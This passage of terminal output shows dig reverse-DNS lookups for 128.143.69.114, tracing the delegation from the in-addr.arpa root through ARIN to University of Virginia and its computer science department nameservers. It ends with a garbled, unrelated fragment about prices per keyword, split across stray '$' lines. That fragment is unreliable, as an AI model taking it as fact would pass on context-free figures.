;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 496a9c1901e66fca0100000065fcf2e8914858f3646f9165 (good)
;; QUESTION SECTION:
;114.69.143.128.in-addr.arpa. IN PTR
;; AUTHORITY SECTION:
128.in-addr.arpa. 86400 IN NS r.arin.net.
128.in-addr.arpa. 86400 IN NS z.arin.net.
128.in-addr.arpa. 86400 IN NS x.arin.net.
128.in-addr.arpa. 86400 IN NS y.arin.net.
128.in-addr.arpa. 86400 IN NS u.arin.net.
128.in-addr.arpa. 86400 IN NS arin.authdns.ripe.net.
;; Query time: 80 msec
;; SERVER: 199.180.182.53#53(a.in-addr-servers.arpa) (UDP)
;; WHEN: Thu Mar 21 22:54:32 EDT 2024
;; MSG SIZE rcvd: 223
$ dig @r.arin.net -x 128.143.69.114
; <<>> DiG 9.18.18-0ubuntu0.22.04.2-Ubuntu <<>> @r.arin.net -x 128.143.69.114
; (2 servers found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 56181
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 3, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 9d6c591214760a530100000065fcf304b78df59879ace755 (good)
;; QUESTION SECTION:
;114.69.143.128.in-addr.arpa. IN PTR
;; AUTHORITY SECTION:
143.128.in-addr.arpa. 86400 IN NS juno.acc.virginia.edu.
143.128.in-addr.arpa. 86400 IN NS nom.virginia.edu.
143.128.in-addr.arpa. 86400 IN NS uvaarpa.virginia.edu.
;; Query time: 80 msec
;; SERVER: 199.180.180.63#53(r.arin.net) (UDP)
;; WHEN: Thu Mar 21 22:55:00 EDT 2024
;; MSG SIZE rcvd: 191
$ dig @uvaarpa.virginia.edu -x 128.143.69.114
; <<>> DiG 9.18.18-0ubuntu0.22.04.2-Ubuntu <<>> @uvaarpa.virginia.edu -x 128.143.69.114
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 30992
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 2, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 8e5d984fc2fa6afc0100000065fcf31c09eb4527d631750c (good)
;; QUESTION SECTION:
;114.69.143.128.in-addr.arpa. IN PTR
;; AUTHORITY SECTION:
69.143.128.in-addr.arpa. 3600 IN NS athena.cs.virginia.edu.
69.143.128.in-addr.arpa. 3600 IN NS apollo.cs.virginia.edu.
;; Query time: 0 msec
;; SERVER: 128.143.107.117#53(uvaarpa.virginia.edu) (UDP)
;; WHEN: Thu Mar 21 22:55:24 EDT 2024
;; MSG SIZE rcvd: 141
$
0.50 to $
2.50, but can be $
50-$
100 for certain keywords